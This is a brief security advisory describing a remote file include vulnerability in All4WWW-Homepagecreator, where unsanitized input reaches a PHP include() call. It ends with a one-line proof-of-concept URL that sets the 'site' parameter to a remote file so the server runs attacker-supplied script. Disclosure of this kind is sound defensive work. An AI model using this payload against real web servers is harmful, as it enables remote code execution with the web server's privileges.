source: https://www.securityfocus.com/bid/13169/info

All4WWW-Homepagecreator is affected by an arbitrary remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an 'include()' function call.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. 

http://www.example.com/index.php?site=http://www.example.com/some-file